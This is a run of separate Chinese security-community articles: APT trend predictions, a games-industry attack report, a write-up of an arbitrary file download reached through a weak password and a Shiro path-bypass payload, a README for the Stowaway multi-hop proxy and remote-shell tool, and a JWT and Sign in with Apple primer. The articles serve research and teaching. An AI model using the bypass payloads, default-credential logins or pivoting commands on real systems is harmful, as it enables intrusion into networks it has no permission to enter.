评估认为，在野的移动端恶意软件的总数可能高于目前已公布的数量，也由于监测的缺陷，使得这些移动端恶意软件更难以被发现和根除。可以预见在2018年，攻击量会继续增加，与此同时安全检测技术也会进一步得到改进，因此将有更高端的APT恶意软件会被发现。
## 更多的诸如BeEF之类的攻击套件
由于操作系统对安全性越来越关注，而且默认部署了很多防护措施，因此2016年至2017年这段时间内，0day漏洞的价格飙升。例如，世界著名漏洞军火商
Zerodium最近出价1,500,000美元购买一个完整的iPhone（iOS）可持续性攻击的远程越狱漏洞（即“在没有任何用户交互的情况下远程感染目标设备”）。
一些政府客户愿意支付惊人的价格购买这些漏洞，这也意味着人们越来越注意保护这些漏洞免受意外披露的影响，同时这也意味着攻击者交付实际的攻击组件之前，会更注重实现缜密的侦察工作。在侦察阶段，攻击者的重心是识别目标浏览器、操作系统、插件和其他第三方软件的精确版本。有了这些知识，攻击者就可以针对目标的特征微调他们的攻击工具，交付一个不那么敏感（或者说代价相对不较低的）
“1day”或“nday”，而不是动用犹如“皇冠上的宝石”的“0day”。
类似于Turla
、Sofacy和Newsbeef这类APT组织，对这类检测分析技术的运用已经相当熟练了，其他的APT组织，如多产的Scanbox是以自定义检测框架而闻名的。考虑到这些框架的普遍性，以及0day漏洞的高昂代价，预计2018年，类似“BeEF”这样的分析工具的使用将有所增加，越来越多的黑客组织会采用公共框架或开发自己的工具。
## 先进的UEFI和BIOS攻击
统一可扩展固件接口（UEFI）是一种软件接口，由英特尔开发的一种在个人电脑系统中，替代BIOS的升级方案。可扩展固件接口负责上电自检（POST）、连接，EFI规范从2005年开始由UEFI论坛负责推广和发展。它提供了很多BIOS缺乏的高级功能：例如，安装并运行可执行文件的能力、网络能力、密码学、CPU独立架构和驱动程序等诸多很先进的功能。然而这些先进的能力，使得UEFI成为一个颇有吸引力的平台，对攻击者而言亦是如此，他们找到了许多在原始的、严格的BIOS平台并不存在的新漏洞。例如，运行定制的可执行模块的能力使得它可以创建恶意软件，且由UEFI直接执行从而绕过了任何反恶意软件解决方案。
事实上，商业级的UEFI恶意软件从2005年开始就已经存在了，但截止目前为止，针对这类恶意软件依然没有成熟的、可靠的检测方法。
**估计** **2018** **年我们将会看到更多的基于UEFI** **的恶意软件。**
## 破坏性攻击将继续
从2016年11月开始，卡巴斯基实验室观察到针对中东地区多个目标的新一波“雨刷”攻击，攻击者在新的攻击活动中使用了一种声名狼藉的Shamoon蠕虫的变种（Shamoon蠕虫曾经在2012年针对Saudi
Aramco
和Rasgas的攻击活动中出现过）。沉睡了四年之久，历史上最神秘的“雨刷”工具之一重新出现在人们的视野中。Shamoon，也被称为Disttrack，是一个极具破坏性的恶意软件家族，能够有效将受害者的机器上的数据擦除。2012年攻击活动当天，一个自称“正义之剑”（“Cutting
Sword of Justice”）的组织曾在Pastebin上发布了一份针对Saudi
Aramco发起攻击的消息，因此这次攻击被认为是一次反抗沙特政体的活动。
2016年11月份发现了Shamoon2.0的攻击活动，目标具有针对性：沙特阿拉伯地区的多个关键部门和经济部门的组织。与以前的变种类似，Shamoon
2.0雨刮器对目标组织对内部系统具有大规模杀伤力。在调查Shamoon2.0攻击活动中，卡巴斯基实验室还发现了一个以前未知的、新型的雨刮器恶意软件，似乎也是针对沙特阿拉伯地区的组织的，这种新的雨刮器被称为StoneDrill，很可能与Newsbeef
APT组织有关联。
除了Shamoon和Stonedrill，2017年还有很多影响广泛的破坏性攻击活动，例如ExPetr /
NotPetya攻击，它最初被认为是勒索软件，后来发现原来是一个伪装得很巧妙的雨刷器。紧跟Expetr之后的是一些其他勒索软件发起的破坏性攻击，在这些所谓的“勒索攻击”中，受害者恢复他们的数据的机会微乎其微；这些勒索软件都是都经过巧妙地掩饰的雨刷器（“wipers
as ransomware”）。一个鲜为人知的事实是，在2016年针对俄罗斯金融机构的CloudAtlas APT组织的攻击活动中，“wipers as
ransomware”就已经被广泛使用了，
**2018** **年，估计这类破坏性的袭击将继续上升，它是网络战中效果最显著的一种攻击类型。**
## 更多的密码系统被颠覆
2017年3月，美国国家安全局（NSA）开发的物联网加密方案被质疑，再次被ISO驳回。
2016年8月，Juniper网络公司宣布他们的NetScreen防火墙存在两个神秘的后门，其中最有趣的NetScreen防火墙采用了Dual_EC算法来生成随机数，如果被一个内行的攻击者利用，就可以解密NetScreen设备上的VPN流量。Dual_EC算法是由NSA设计推动通过了NIST标准的，而早在2013年，一个路透社的报告就显示，美国国家安全局支付了1000万美元把Dual_EC这个脆弱的算法集成到了RSA的加密套件中。早在2007年，就已经在理论上确认了能够植入后门程序的可能性，几家公司（包括Juniper）继续使用该算法（使用不同的常数集，这将使得在理论上是安全的）。但是，对于APT攻击者而言，可不会轻易放弃入侵Juniper的机会，尽管使用不同的常数集可能使攻击变得更加困难，他们可能将常数集修改为他们可控制的内容，从而方便的解密VPN流量。
2017年9月，一组国际密码学专家迫使美国国家安全局放弃了两种新的加密算法，NSA原本准备将这两套加密算法标准化的。
2017年10月，新闻报道了英飞凌技术股份公司（Infineon
Technologies）制作的加密智能卡、安全令牌和其他安全硬件芯片中采用的软件库中，其所使用的 RSA 密钥生成中发现了一个新的漏洞,
利用该漏洞，攻击者可以进行实际的因数分解攻击，进而计算出 RSA
密钥的私钥部分。虽然这个缺陷似乎是无意的，但它确实留下了一个问题：从智能卡、无线网络或加密的Web流量中，我们日常生活中使用的底层加密技术到底有多安全？
**2018** **年，我们预测将有更严重的加密漏洞会被发现并且（希望）被修补，无论是加密算法标准本身还是特定的实践应用中。**
## 电子商务行业的身份危机
在过去的几年里已经发生了太多的大规模的、灾难性的个人识别信息（PII）泄露事件。
2017年最新的、影响最广泛的当属Equifax公司的数据泄露事件（官方发布的数据是：1亿4550万美国用户、40 万英国客户、100,000
加拿大客户受到了影响）。无论是用户还是组织，似乎都对这类数据泄漏事件变得有些麻木了，但仍然需要明确PII信息泄露可能会引发的潜在威胁，尤其是在电子商务领域和政府重要职能机构而言，数据泄漏可能带来灾难性的损害。
当然，欺诈和身份盗用已经存在很长时间了，但是当基本的身份识别信息泄露如此泛滥，以致于无所依从时，人们对企业和组织的信任度会逐步丧失。对于商业和政府机构（特别是美国）而言，或许不得不采取措施，缩减互联网操作的舒适度或增加其他因素的认证或安全解决方案。也许到目前为止诸如ApplePay之类的弹性选择将作为事实上的保护身份和交易的解决方案，但与此同时，我们可能会看到，互联网在现代化繁琐的官僚程序和削减运营成本方面发挥关键作用的形势正在放缓。
## 更多的路由器和调制解调器攻击
另一个被广泛忽略的脆弱性领域是路由器和调制解调器。在家庭或企业网络环境下，这些硬件普遍存在，在人们日常操作中扮演着非常重要的角色，然而这些硬件上面运行的软件却往往无人维护（未打补丁或无人看管）。时至今日，这些小小的设备，却成为了攻击者获取到网络持久和隐蔽性访问权的关键点。此外，最新一些非常酷的研究表明，在某些情况下，攻击者甚至可以模拟不同的网络用户，从而将攻击者的踪迹转移到完全不同的网络连接地址。在攻击活动中，威胁实施者对误导和虚假标志的兴趣有所增加，这是一个重要的因素。对这些设备的深入检测必然会产生一些更为有趣的发现。
## 混乱的社交媒介
2017年，在信息战除了新发生的泄密事件和政治争斗之外，社交媒体本身在政治上所起到的重大影响力超乎了我们想象的极限。无论是政府当局的幕后操纵，或是南方公园的作家对Facebooke公司CEO的冷嘲热讽，在当下公众的目光已转向了不同社交媒体巨头，诉求它们对虚假用户和机器人进行一些真实性的检查和识别，以避免造成不公正的舆论导向。不过可悲的是，这些社交网络平台（其成功建立在一些可量化的指标上，如“日活量”）很少有动力真正的清除他们的机器人用户。即使这些机器人有明显的任务或偏向、也可以被独立的研究人员追踪到。可以预计，明显的滥用仍将继续，大型僵尸网络将成为更广泛的政治毒瘤，更大的反弹将指向社交媒体本身的真实用户。
## 结论：APT预测
2017年，时代宣告了入侵指标（IoCs）的死亡。2018年，我们将有希望看到先进的威胁行为者发挥他们的新优势、磨练他们的新工具，在上文中所描述的那些可怕视角更广泛的施展拳脚。每一年的主题和趋势都不应孤立的，它们相互依赖，无论是个人、企业还是政府，都可以从中清楚的看到面临的威胁正日益增长。
**唯一能够在这场战役中采取的可持续性的缓解方案是高可用的威胁情报分享和知识应用。** | 社区文章 |
作者：darrensong、karmayu @云鼎实验室
公众号：[云鼎实验室](https://mp.weixin.qq.com/s/K2IZvQebcf7Ixv8lGgE5vg "云鼎实验室")
近日，媒体频频爆出苹果用户帐号被盗刷，用于购买游戏道具等物品，并由此牵出 App Store
及游戏相关黑产的种种。8102年都快过去了，游戏黑客在攻击什么？他们从哪里来？哪些公司受害最严重？腾讯安全云鼎实验室致力于云上攻击的实时捕获和防御，基于部署于全网的威胁感知系统，揭开游戏行业的真实攻击状况。
### 一、游戏行业安全概括
游戏行业一向是竞争和攻击都极为复杂和持续的领域。这里有最广泛的用户群，有 IT
业最疯狂的加班，有最激烈的行业竞争，有渗透最广泛的黑色产业链，也有战线最长的攻防对抗。
除去服务器和操作系统等通用安全问题，游戏行业面临的安全威胁主要集中在以下几个领域：
* 帐号类攻击
早期以打金工作室大量注册小号、木马盗号为主，近年来以撞库攻击和帐号扫描为主，攻击成功后进一步进行资产窃取。
* DDoS 攻击
游戏行业长期是 DDoS 的主要攻击对象，随着各种反射放大攻击模式的发明，受攻击流量也越来越大。
* 外挂
外挂是游戏黑客技术最有深度的领域，从逆向分析的难度到内核层各种对抗。外挂从受众主要分为玩家挂和工作室挂；从功能主要分为打金做任务类和竞技辅助类。
* 其他
除去私服类传统的问题，近年新出现了一些直接影响游戏公司收入的新问题。比如由于 iOS 平台的封闭性，游戏公司和 Apple 存在对账延迟，衍生出 iOS
充值退款/盗刷信用卡等黑产业务。传统针对游戏的破解业务依然持续存在，比如最近大火的太吾画卷，在试用版期间就出现了本地破解版。
### 二、五大攻击趋势
#### 1、游戏行业黑产国际化趋势明显
随着近年吃鸡类游戏火爆的影响力，以及微信、支付宝等移动支付能力在海外逐渐打通，越来越多国人开始习惯于在海外游戏平台如 STEAM
进行消费和玩耍。自然也就吸引了游戏黑客和黑产业者的关注。并且由于跨国法律打击的难度，使得攻击者更加张狂。
在2018年，可以观察到针对 STEAM、EA 等海外平台的撞库攻击持续提升，同时针对海外游戏的外挂也是增长迅速，并带动了海外信用卡盗刷等领域的攻击增长。
#### 2、撞库成为游戏行业帐号攻击主流模式
在帐号攻击层面，PC
时代流行的游戏盗号木马已近乎销声匿迹。随着近年来黑市泄漏帐号数据的广泛流通，攻击以撞库攻击和帐号扫描为主，攻击成功后进一步进行资产窃取。
#### 3、游戏周边行业成为 DDoS 新攻击目标
针对游戏的 DDoS 攻击，不仅仅在新的 H5Game
上出现，而且逐渐向所攻击游戏的周边行业扩展，针对某一游戏除进行主服务器、网络结点攻击外，还针对其第三方支撑与合作平台进行攻击，达到游戏商业化链条的立体式攻击。游戏周边行业，包括但不限于游戏虚拟财产买卖、电竞、游戏资讯、游戏云服务等。
#### 4、游戏外挂逐渐向手游+竞技辅助类转型
PC 时代的网游主流为
MMORPG（大型多人在线角色扮演）类游戏，当时外挂以打金/打装备/升级为主要目标。随着近年移动互联网的兴起，崇尚短平快的手游逐渐主流化，以及越来越多游戏去掉交易系统，游戏外挂逐渐转为竞技辅助类功能为主，例如透视、加速等。
#### 5、针对 Apple 平台的欺诈、盗刷类攻击形式严峻
由于 iOS 平台的封闭性，游戏公司和 Apple 存在对账延迟，衍生出 iOS 充值退款/盗刷信用卡等黑产业务，高峰时甚至导致游戏公司百分之几十的坏账。
同时，由于 App Store 针对国内用户的支付流程的便捷化（绑定支付宝、微信支付、免密支付），使得盗取 Apple
帐号成为黑产盗刷新渠道，国内苹果帐号盗刷相关新闻屡见不鲜。
### 三、详细数据剖析
#### 1\. 帐号类攻击
云鼎实验室2018年的监测数据显示，针对游戏行业的帐号类攻击，月均在数亿次/月，且持续平稳，具有长期持续性攻击的特征。
**1）攻击类型分布**
在针对帐号的攻击中，大部分的帐号扫描其实也是为了撞库攻击做准备，少部分是基于历史密码的登录尝试。因此，在帐号安全侧，撞库相关攻击实际占据了80%以上的份额，这与早期以盗号木马为主的帐号类攻击形成了鲜明的对比。
**2）被攻击公司分布**
从全球游戏公司遭受攻击的流量来看（注：国内外知名游戏公司纷纷成为靶子），国内游戏公司吸引了近6成的攻击量，其源于国内发达的游戏黑产链条，而实际上针对国外游戏公司的攻击很多也来自国内。
**3）攻击来源分布**
国内游戏公司的攻击流量来源几乎全部源自于国内，源自海外的可忽略不计。其中以吉林、浙江、江苏、江西、广东等省份的来源为多，以上省份占了60%以上的攻击请求。可见，在游戏行业的国内黑产几乎是一个独立的封闭产业链。这和国内强大的产业链整合能力和文化独特性都颇为相关。
国外游戏公司面对的攻击则来自各个国家，然而源自中国的攻击流量也占据了半壁江山，这也和事实的情况比较相符，例如垄断海外打金事业、吃鸡游戏里中国外挂的泛滥，都反映了游戏领域中国黑客的战斗力。同样，战斗民族俄罗斯也名列前茅，而在我们的监测中，在其他黑客领域颇为活跃的乌克兰黑客似乎对游戏行业兴趣缺缺。
#### 2\. DDoS 攻击
2018年 DDoS 攻击情况统计中，游戏行业仍为主要攻击对像，其中移动 Web 游戏被攻击数量明显增加，也标志着 H5Game
正式被攻击者纳入吸金行列。攻击类型呈多样化，除常规反射放大 SSDP、NTP 外，新出现的 Memcached
反射也被攻击者利用，迫使防御措施频繁更新。同时攻击者将 C2
逐渐迁移到国外，使其溯源更加困难，且生存时间延长，再加上频繁更新的家族与其攻击手法，致使针对游戏行业的攻防战，更加的激烈。
**1）被攻击游戏的分类**
除端游与手游，依然排在前面外，可以明显看出移动 Web 游戏（H5Game）有明显上升的趋势。 随着 H5
游戏生态的不断的完善，新玩法、新的变现途径不断的成熟，可以预见针对 H5 游戏的 DDoS 攻击会更加频繁。
**2）攻击方法分类**
针对游戏行业，DDoS 攻击的方式还是主要以攻击带宽为主，以组合式攻击打出超大的流量进行堵塞带宽。虽然传统的 UDP Flood、SYN Flood
仍然占较大的比例，但攻击方法已转变为有反射放大参与的混合式攻击，其中各类反射放大占比一半以上，与传统攻击占比平分秋色。Memcached
反射放大是新出现的反射放大方法，业界公布的 Memcached DDos 最大攻击达到1.7Tbps。随着 Memcached
反射技术被广泛地应用，在游戏行业 DDoS 攻击中，也充当一个关键的被利用角色。
**3）发起攻击的 C2 情况**
从下图可以直观地看出攻击游戏行业的 C2 主要分布在美国、欧洲、韩国、中国，其中国外占比69%。 黑客为了 C2
服务器不易被中国的网警封停，将服务器迁至国外不易检查的位置。同时针对游戏行业的攻击，往往被攻击的游戏公司每次都要损失大量的日活用户与金钱，针对溯源的需求比较高，也迫使黑客更加谨慎小心。C2
以域名方式普遍比 IP 方式的存活时间更长，通过针对发起攻击的 Top 10 的 C2 的情况统计，存活时间均超过了3个月，且均是域名方式。每个 C2
针对游戏行业发起攻击的累积次数都达上千次，除游戏行业外，其还针对其它行业进行 DDoS 攻击，使其变现能力最大化。
**4）攻击时间分析**
在攻击时长来看，占比最多在10分以内，以较少的时间直接瘫痪掉游戏服务器，导致游戏玩家掉线、延迟、游戏系统假死等。抽样统计得出，平均攻击时长约16分，单次攻击最长时长约1.5小时。排除反射放大攻击，bot
的每次攻击时长以30秒最多，占比达90%以上，攻击总时长以发起的攻击次数叠加计算。bot 其它时长以一次发起攻击60秒、300秒、600秒、30分等，还有的
bot 以攻击停止命令进行动态控制时长。反射放大攻击时长依不同的攻击程序而定，比 bot 的时长控制更加灵活多样。
黑客对游戏服务器的攻击时间段统计发现，一般在10时到17时，18时到23时两个时段最多。其特点是以玩家上线最多的时间点发起攻击，致使攻击目标造成最大的损失。
**5）攻击流量带宽分布情况**
在攻击流量的分层统计上，大多数的攻击均为100Gbps以下的流量攻击。整体的攻击流量的平均峰值约在6.8Gbps左右。在DDoS攻击带宽中，主要攻击以反射放大为主，其次是以带有payload的传统攻击(如UDP
Flood / SYN Flood大包)。
随着 DDoS
在游戏行业上流量的进一步攀升，在DDoS整体防护上，建议用户采用具备超大流量防护能力的产品。游戏行业多为具有跨国用户，具备全球防护能力的DDoS防护产品要求也日益迫切。
#### 3\. 外挂
经历了2017年 STEAM
平台吃鸡游戏的火爆和预热，在2018年国内吃鸡类游戏也迎来了相关外挂的大爆发。由于PC游戏热度降温以及手游交易系统的限制，2018年主要外挂集中在手游的吃鸡类游戏上，其中外挂热度排名前四的吃鸡类手游占据了超过60%的关注度，加上
PC 端的射击类游戏，射击类外挂已然占据了70%以上。而传统的打金类外挂热度占比大幅下降。
#### 4\. 其他
**1）代充值类**
代充值类问题主要集中在 App Store 平台，由于 App Store
的内购机制原因，苹果手游代充最早可以追溯到2012年前后，到现在已经经历了多次发展，从最开始的外币汇率差，退款，36漏洞，再到黑卡，盗刷信用卡，甚至出现了专门的库存系统，造成游戏厂商损失惨重，下面简单描述各种代充黑产的情况：
* 外币汇率差
利用某些国家货币汇率波动较大（如南非），而 App Store
上道具并未及时按照汇率更新价格，此时通过一些技巧使用其他国家货币购买本国苹果市场的内购物品，从而谋取利益。
* 退款
苹果公司于2014年开始实施退款政策，以弥补用户因意外充值而造成的损失。本是为了避免用户损失，却成为代充、代退等不法商贩的套利手段，同时也极大地增加了个人账户的使用风险。
* 36漏洞
源于苹果公司为改善用户体验，在向用户收取费用时，设计了40元以下小额充值，可以不经验证支付成功，先行派发商品。而可选的最佳支付组合是30元+6元，故称为36漏洞。受36技术侵害的重灾区集中在游戏领域，由于苹果公司季度结算的模式，36技术对于苹果公司和服务商间造成了大量的坏账。
* 黑卡和盗刷信用卡
所谓黑卡，即来源不明的信用卡，这里特指与iTunes账户绑定的非法信用卡。也指不在我国境内销售的充值卡类型如苹果礼品卡等。其背后是破解或盗取他人信用卡的黑客。通过黑卡或盗刷的方式，倒卖虚拟物品或苹果账户牟利。
* 库存系统
由于使用黑卡或盗刷信用卡，可能会在很短时间内被苹果封号。但黑客发现在苹果的购买流程中，如果把支付凭据截取下来，使流程不进入发货环节，充值商家等到有客户时候，可以随时使用支付凭据发货，可谓完美绕过苹果风控，使黑卡和盗刷可以大规模实现。这样便能绕过苹果风控系统，但是这些黑钱会被苹果扣除，无法给游戏厂商结算，最后就成了坏账。
根据2018年的数据，云鼎实验室监测到大量来自福建龙岩和吉林延边的针对 App Store
的黑产流量，这两地的黑产流量占到总量的80%，乃是苹果系黑产的集中地。
### 四、结语
业务安全上的对抗，是一个不断进化的短平快战场。天下武功，唯快不破，腾讯云安全以专业的能力，致力于云端恶意流量的实时发现和防御一体化，腾讯云 Web
应用防火墙（网站管家）和 DDoS 防护（大禹）经过多年打磨，拥有针对游戏行业定制的帐号安全防护和全球各种场景下专业 DDoS
防御能力，为游戏整体业务保驾护航。
腾讯安全云鼎实验室关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。
* * * | 社区文章 |
# 记一次前台任意文件下载漏洞挖掘
文章中所涉及漏洞已交给相关漏洞平台
## 1、起因
日常闲逛，翻到了某后台系统
先是日常手法操作了一番，弱口令走起
admin/123456 yyds！
U1s1，这个后台功能点少的可怜，文件上传点更是别想
不过那个备份管理的界面引起了我的兴趣，似乎有点意思
filename参数后面直接跟上了文件名，这很难让人不怀疑存在任意下载漏洞
抓包，放到burp中，发现果然存在任意文件下载
## 2、经过
经过fofa收集，我发现这是一个小通用，正当我打算兴致勃勃的打一发别的目标时，却发现这只是个后台洞，backup功能点需要管理员权限
直接302跳转了，晕
运用了常规手法，也bypass失败了
~~好了，此处漏洞挖掘到此结束~~
身为一个有菜又爱玩的家伙，我怎么可能轻言放弃呢？
本来打算批量扫备份拿源码，但后面发现，github的链接就在后台介绍处。。。
好家伙，我直呼好家伙，真是踏破铁鞋无觅处
拿到源码，赶紧在本地翻配置文件
spring+shiro的典型组合，嗯，刚好没学到过
凭着典型的脚本小子的思想，我考虑到了shiro的权限分配的较死，从逻辑层绕过估计是中彩票
想到f12sec有位师傅发表过shiro权限绕过的文章，可以利用shiro权限绕过，达到前台任意下载
但是尝试了网上公开的几种exp，发现均失败了
/;/------>302跳转
/;a/------>302跳转
末尾加上"/"------>302跳转
/fdsf;/../------>302跳转
怎么回事小老弟，我的200呢w(ﾟДﾟ)w
最后，发现是我的姿势错了，在<https://www.freebuf.com/vuls/231909.html中，我找到了答案>
先了解点前置知识（大佬绕过）：
Shiro的URL路径表达式为Ant 格式，路径通配符支持?***。
?：匹配一个字符
*：匹配零个或多个字符串
**：匹配路径中的零个或多个路径
上面的文章里解释的很清楚了，如果URI中存在;号的话，则会删除其后面的所有字符。/fdsf;/../hello/1/最终也就变成了/fdsf。
而我们这款web应用遇到不符合的目录就直接跳转了，所以，想要利用这个权限绕过，必须要有以下条件
1、存在，并且是anon权限的目录
2、要以路径通配符**结尾
很幸运，这款web应用中就有这样的目录
经过测试，images目录可行
然后手动构造，burp发包，芜湖，成功前台任意下载！
## 3、结果
因为本人只是半吊子水平，很多对漏洞的理解是基于想象的，如果有不妥当之处，请各位大佬指出嘿嘿
希望能和各位师傅一起学习交流 | 社区文章 |
# Stowaway
## 写在前面
项目地址：[Stowaway](https://github.com/ph4ntonn/Stowaway)
Stowaway1.0 文章地址: [1.0](https://xz.aliyun.com/t/7119)
在1.0发布后，由于很多好心的师傅给了许多改进建议，并且也因为自己在写1.0版本时，架构上考虑的也不是很周全，于是就有了现在的2.0版本～
在2.0版本中，解决了之前版本中的一些恼人的问题，精简了参数数量，优化了admin端的交互体验，另外也加入了一些有趣的新功能～
附上部分README，希望各位师傅能给出更多的改进建议，详细的README介绍请点击[Stowaway](https://github.com/ph4ntonn/Stowaway)～
## README
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具
用户可使用此程序将外部流量通过多个节点代理至内网，突破内网访问限制，构造树状节点网络，并轻松实现管理功能
> 此工具仅限于安全研究和教学，用户承担因使用此工具而导致的所有法律和相关责任！ 作者不承担任何法律和相关责任！
## 特性
* 管理端更加友好的交互,支持命令补全/历史
* 一目了然的节点树管理
* 丰富的节点信息展示
* 节点间正向/反向连接
* 节点间支持重连
* 节点间可通过socks5代理进行连接
* 节点间可通过ssh隧道连接
* 节点间流量可选择TCP/HTTP
* 多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6
* 节点支持ssh访问远程主机
* 远程shell
* 上传及下载文件
* 端口本地/远程映射
* 节点可端口复用
* 自由开关各类服务
* 节点间相互认证
* 节点间流量以AES-256(CBC)进行加密
* 相较于v1.0，文件体积减小25%
* 支持各类平台(Linux/Mac/Windows/MIPS/ARM)
## 下载及演示
* 不想编译的盆油可以直接用[release](https://github.com/ph4ntonn/Stowaway/releases)下编译完成的程序.其中[Uncompressed](https://github.com/ph4ntonn/Stowaway/releases/download/v2.0/Uncompress_By_Upx.7z) 是未经压缩的程序合集，若需要更小体积的程序合集以此方便上传至服务器，请下载[Compressed](https://github.com/ph4ntonn/Stowaway/releases/download/v2.0/Compressed_By_Upx.tar)
* 演示视频：还在制作中～
## 使用方法
### 角色
Stowaway一共包含两种角色，分别是：
* `admin` 渗透测试者使用的主控端
* `agent` 渗透测试者部署的被控端
### 名词定义
* 节点: 指admin || agent
* 主动模式: 指当前操作的节点主动连接另一个节点
* 被动模式: 指当前操作的节点监听某个端口，等待另一个节点连接
* 上游: 指当前操作的节点与其父节点之间的流量
* 下游：指当前操作的节点与其 **所有** 子节点之间的流量
### 参数解析
* admin
参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP
* agent
参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
### 参数用法
#### -l
此参数admin&&agent用法一致，仅用在被动模式下
若不指定IP地址，则默认监听在`0.0.0.0`上
* admin: `./stowaway_admin -l 9999` or `./stowaway_admin -l 127.0.0.1:9999`
* agent: `./stowaway_agent -l 9999` or `./stowaway_agent -l 127.0.0.1:9999`
#### -s
此参数admin&&agent用法一致，可用在主动&&被动模式下
可选，若为空，则代表通信不被加密，反之则通信基于用户所给出的密钥加密
* admin: `./stowaway_admin -l 9999 -s 123`
* agent: `./stowaway_agent -l 9999 -s 123`
#### -c
此参数admin&&agent用法一致，仅用在主动模式下
代表了希望连接到的节点的地址
* admin: `./stowaway_admin -c 127.0.0.1:9999`
* agent: `./stowaway_agent -c 127.0.0.1:9999`
#### \--proxy/--proxyu/--proxyp
这三个参数admin&&agent用法一致，仅用在主动模式下
无用户名密码：
- admin: ```./stowaway_admin -c 127.0.0.1:9999 --proxy xxx.xxx.xxx.xxx
* agent: `./stowaway_agent -c 127.0.0.1:9999 --proxy xxx.xxx.xxx.xxx`
有用户名密码:
* admin: `./stowaway_admin -c 127.0.0.1:9999 --proxy xxx.xxx.xxx.xxx --proxyu xxx --proxyp xxx`
* agent: `./stowaway_agent -c 127.0.0.1:9999 --proxy xxx.xxx.xxx.xxx--proxyu xxx --proxyp xxx`
#### \--up/--down
这两个参数admin&&agent用法一致，可用在主动&&被动模式下
但注意admin上没有`--up`参数
这两个参数可选，若为空，则代表上/下游流量为裸TCP流量
若希望上/下游流量为HTTP流量，设置此两参数即可
* admin: `./stowaway_admin -c 127.0.0.1:9999 --down http`
* agent: `./stowaway_agent -c 127.0.0.1:9999 --up http` or `./stowaway_agent -c 127.0.0.1:9999 --up http --down http`
**注意一点，当你设置了某一节点上/下游为TCP/HTTP流量后，与其连接的父/子节点的下/上游流量必须设置为一致！！！**
如下
* admin: `./stowaway_admin -c 127.0.0.1:9999 --down http`
* agent: `./stowaway_agent -l 9999 --up http`
上面这种情况，agent必须设置`--up`为http，否则会导致网络出错
agent间也一样
假设agent-1正在`127.0.0.1:10000`端口上等待子节点的连接，并且设置了`--down http`
那么agent-2也必须设置`--up`为http，否则会导致网络出错
* agent-2: `./stowaway_agent -c 127.0.0.1:10000 --up http`
#### \--reconnect
此参数仅用在agent，且仅用在主动模式下
参数可选，若不设置，则代表节点在网络连接断开后不会主动重连，若设置，则代表节点会每隔x(你设置的秒数)秒尝试重连至父节点
* admin: `./stowaway_admin -l 9999`
* agent: `./stowaway_agent -c 127.0.0.1:9999 --reconnect 10`
上面这种情况下，代表如果agent与admin之间的连接断开，agent会每隔十秒尝试重连回admin
agent之间也与上面情况一致
并且`--reconnect`参数可以与`--proxy`/`--proxyu`/`--proxyp`一起使用，agent将会参照启动时的设置，通过代理尝试重连
#### \--rehost/--report
这两个参数比较特别，仅用在agent端，详细请参见下方的端口复用机制
.....................
更多详情请参看项目仓库～ | 社区文章 |
### 前置信息
#### JWT的组成
介绍[JSON Web Token](https://jwt.io/introduction/)
* JWT由3部分组成
* Header
* Payload
* Signature
JWT由3部分组成 它们经过编码后 用`.`作为连接符号 拼接成一个JWT. 一个JWT的格式如下:
Base64Urlencode(Header).Base64Urlencode(Payload).Signature
比如这个JWT:
eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1ODY1MjUyNzcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ.BWbSmWbTfsJBc5YMaKCXY4SlvxPZXuobf4vfAFJEXu00qC5nXeyA7csmC7PErf5YoxmbDzFVPobnzhndFe10xQ
分解为3部分:
Header: eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9 --Base64Urldecode-> {"alg":"HS512","typ":"JWT"}
Payload: eyJpYXQiOjE1ODY1MjUyNzcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiSmVycnkifQ --Base64Urldecode-> {"iat":1586525277,"admin":"false","user":"Jerry"}
Signature: BWbSmWbTfsJBc5YMaKCXY4SlvxPZXuobf4vfAFJEXu00qC5nXeyA7csmC7PErf5YoxmbDzFVPobnzhndFe10xQ
#### 什么是Sign in with Apple
参考官方开发者资料 <https://developer.apple.com/sign-in-with-apple/get-started/>
什么是Sign in with Apple: 个人简单概括就是，它是苹果官方提供的授权功能，苹果用户使用自己的Apple
ID登录成功后，可以登录支持“Sign in with Apple”的第三方APP和网站，且更安全、更能保护隐私。
#### Sign in with Apple的优点
参考官方资料 <https://support.apple.com/en-us/HT211687>
主要关注一下"隐私和安全性"方面的优点：
“通过 Apple 登录”功能让您能够使用现有的 Apple ID 登录第三方 App 和网站，不仅快捷轻松，而且更加私密。
* 用户使用“Sign in with Apple”登录第三方APP时，第三方APP的开发者能获取到哪2个用户信息？
* 用户的“姓名”
* 用户的“电子邮件地址” (Apple的“私密电子邮件中转服务”,使用户可将这个“电子邮件地址”保密，同时接收到电子邮件。）
您在参加计划的 App 或网站上看到“通过 Apple 登录”按钮，说明您可以使用自己的 Apple ID
来设置一个帐户。您不需要使用社交媒体帐户、不必填写表单、不必另外设定新密码。
“通过 Apple 登录”这个功能的设计初衷就是为了尊重个人隐私，让您能够掌控自己的个人信息。这个功能可以在 iOS、macOS、Apple tvOS 和
watchOS 上以及任何浏览器中作为原生功能使用。
* 隐私和安全性
* 在您首次登录时，App 和网站只能要求获取您的“姓名”和“电子邮件地址”来为您设置帐户。
